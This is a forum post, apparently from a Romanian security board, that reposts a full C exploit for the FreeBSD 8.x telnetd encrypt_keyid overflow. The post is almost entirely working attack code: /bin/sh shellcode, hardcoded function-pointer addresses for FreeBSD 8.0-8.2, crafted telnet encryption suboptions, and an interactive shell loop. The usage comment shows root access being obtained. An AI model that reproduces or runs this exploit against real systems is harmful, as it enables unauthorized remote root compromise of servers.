Jump to content
Nytro

FreeBSD 8 - Telnetd encrypt_keyid: Remote Root function pointer overwrite

Recommended Posts

Posted (edited)

Telnetd encrypt_keyid: Remote Root function pointer overwrite

/***************************************************************************
* telnetd-encrypt_keyid.c
*
* Mon Dec 26 20:37:05 CET 2011
* Copyright 2011 Jaime Penalba Estebanez (NighterMan)
*
* nighterman@painsec.com - jpenalbae@gmail.com
* Credits to batchdrake as always
*
* ______ __ ________
* / __ / /_/ / _____/
* / /_/ /______________\ \_____________
* / ___ / __ / / __ / \ \/ _ \/ __/
* / / / /_/ / / / / /___/ / __/ /__
* ____/__/____\__,_/_/_/ /_/______/\___/\____/____
*
*
****************************************************************************/

/*
*
* Usage:
*
* $ gcc exploit.c -o exploit
*
* $ ./exploit 127.0.0.1 23 1
* [<] Succes reading intial server request 3 bytes
* [>] Telnet initial encryption mode and IV sent
* [<] Server response: 8 bytes read
* [>] First payload to overwrite function pointer sent
* [<] Server response: 6 bytes read
* [>] Second payload to triger the function pointer
*
[*] got shell?
* uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>


#define MAXKEYLEN 64-1

struct key_info
{
unsigned char keyid[MAXKEYLEN];
unsigned char keylen[4];
unsigned char dir[4];
unsigned char modep[4];
unsigned char getcrypt[4];
};


static unsigned char shellcode[] =
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\xb0\x17" // mov $0x17,%al
"\x50" // push %eax
"\xcd\x80" // int $0x80
"\x50" // push %eax
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp,%ebx
"\x50" // push %eax
"\x54" // push %esp
"\x53" // push %ebx
"\x50" // push %eax
"\xb0\x3b" // mov $0x3b,%al
"\xcd\x80"; // int $0x80

static unsigned char tnet_init_enc[] =
"\xff\xfa\x26\x00\x01\x01\x12\x13"
"\x14\x15\x16\x17\x18\x19\xff\xf0";

static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";
static unsigned char tnet_end_suboption[] = "\xff\xf0";


/*
* shell(): semi-interactive shell hack
*/
static void shell(int fd)
{
fd_set fds;
char tmp[128];
int n;

/* check uid */
write(fd, "id\n", 3);

/* semi-interactive shell */
for (;;) {
FD_ZERO(&fds);
FD_SET(fd, &fds);
FD_SET(0, &fds);

if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
perror("select");
break;
}

/* read from fd and write to stdout */
if (FD_ISSET(fd, &fds)) {
if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
fprintf(stderr, "Goodbye...\n");
break;
}
if (write(1, tmp, n) < 0) {
perror("write");
break;
}
}

/* read from stdin and write to fd */
if (FD_ISSET(0, &fds)) {
if ((n = read(0, tmp, sizeof(tmp))) < 0) {
perror("read");
break;
}
if (write(fd, tmp, n) < 0) {
perror("write");
break;
}
}
}

close(fd);
exit(1);
}


static int open_connection(in_addr_t dip, int dport)
{
int pconn;
struct sockaddr_in cdata;
struct timeval timeout;

/* timeout.tv_sec = _opts.timeout; */
timeout.tv_sec = 8;
timeout.tv_usec = 0;

/* Set socket options and create it */
cdata.sin_addr.s_addr = dip;
cdata.sin_port = htons(dport);
cdata.sin_family = AF_INET;

pconn = socket(AF_INET, SOCK_STREAM, 0);

if( pconn < 0 )
{
printf("Socket error: %i\n", pconn);
printf("Err message: %s\n", strerror(errno));
exit(-1);
}

/* Set socket timeout */
if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO,
(void *)&timeout, sizeof(struct timeval)) != 0)
{
perror("setsockopt SO_RCVTIMEO: ");
exit(1);
}

/* Set socket options */
if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO,
(void *)&timeout, sizeof(struct timeval)) != 0)
{
perror("setsockopt SO_SNDTIMEO: ");
exit(1);
}

/* Make connection */
if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0)
{
close(pconn);
return -1;
}

return pconn;
}



static void usage(char *arg)
{
printf("Telnetd encrypt_keyid exploit for FreeBSD\n");
printf("NighterMan <nighterman@painsec.com>\n\n");
printf("Usage: %s [ip] [port] [target]\n", arg);
printf("Available Targets:\n");
printf(" - 1: FreeBSD 8.0 & 8.1\n");
printf(" - 2: FreeBSD 8.2\n\n");
}



int main(int argc, char *argv[])
{
/* Payload Size */
int psize = (sizeof(struct key_info) +
sizeof(tnet_option_enc_keyid) +
sizeof(tnet_end_suboption));

struct key_info bad_struct;
unsigned char payload[psize];
unsigned char readbuf[256];

int ret;
int conn;
int offset = 0;

if ( argc != 4) {
usage(argv[0]);
return -1;
}

/* Fill the structure */
memset(&bad_struct, 0x90, sizeof(struct key_info));
memcpy(&bad_struct.keyid[20], shellcode, sizeof(shellcode));
memcpy(bad_struct.keylen, "DEAD", 4);
memcpy(bad_struct.dir, "BEEF", 4);
memcpy(bad_struct.modep, "\x6c\x6f\x05\x08", 4); /* Readable address */

/* Shellcode address (function pointer overwrite) */
switch (atoi(argv[3])) {
case 1:
memcpy(bad_struct.getcrypt, "\xa6\xee\x05\x08", 4);
break;

case 2:
memcpy(bad_struct.getcrypt, "\xed\xee\x05\x08", 4);
break;

default:
printf("Bad target\n");
return -1;
break;
}

/* Prepare the payload with the overflow */
memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid));
offset += sizeof(tnet_option_enc_keyid);
memcpy(&payload[offset], &bad_struct, sizeof(bad_struct));
offset += sizeof(bad_struct);
memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption));


/* Open the connection */
conn = open_connection(inet_addr(argv[1]), atoi(argv[2]));
if (conn == -1) {
printf("Error connecting: %i\n", errno);
return -1;
}

/* Read initial server request */
ret = read(conn, readbuf, 256);
printf("[<] Succes reading intial server request %i bytes\n", ret);


/* Send encryption and IV */
ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
if (ret != sizeof(tnet_init_enc)) {
printf("Error sending init encryption: %i\n", ret);
return -1;
}
printf("[>] Telnet initial encryption mode and IV sent\n");

/* Read response */
ret = read(conn, readbuf, 256);
printf("[<] Server response: %i bytes read\n", ret);

/* Send the first payload with the overflow */
ret = write(conn, payload, psize);
if (ret != psize) {
printf("Error sending payload first time\n");
return -1;
}
printf("[>] First payload to overwrite function pointer sent\n");

/* Read Response */
ret = read(conn, readbuf, 256);
printf("[<] Server response: %i bytes read\n", ret);


/* Send the payload again to tigger the function overwrite */
ret = write(conn, payload, psize);
if (ret != psize) {
printf("Error sending payload second time\n");
return -1;
}
printf("[>] Second payload to triger the function pointer\n");


/* Start the semi interactive shell */
printf("
[*] got shell?\n");
shell(conn);


return 0;
}

Citeam inainte de Craciun despre aceasta problema, se pare ca a aparut un exploit pentru telnetd.

Sursa: Telnetd encrypt_keyid: Remote Root function pointer overwrite

More info: http://thexploit.com/secdev/a-textbook-buffer-overflow-a-look-at-the-freebsd-telnetd-code/

Edited by Nytro

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...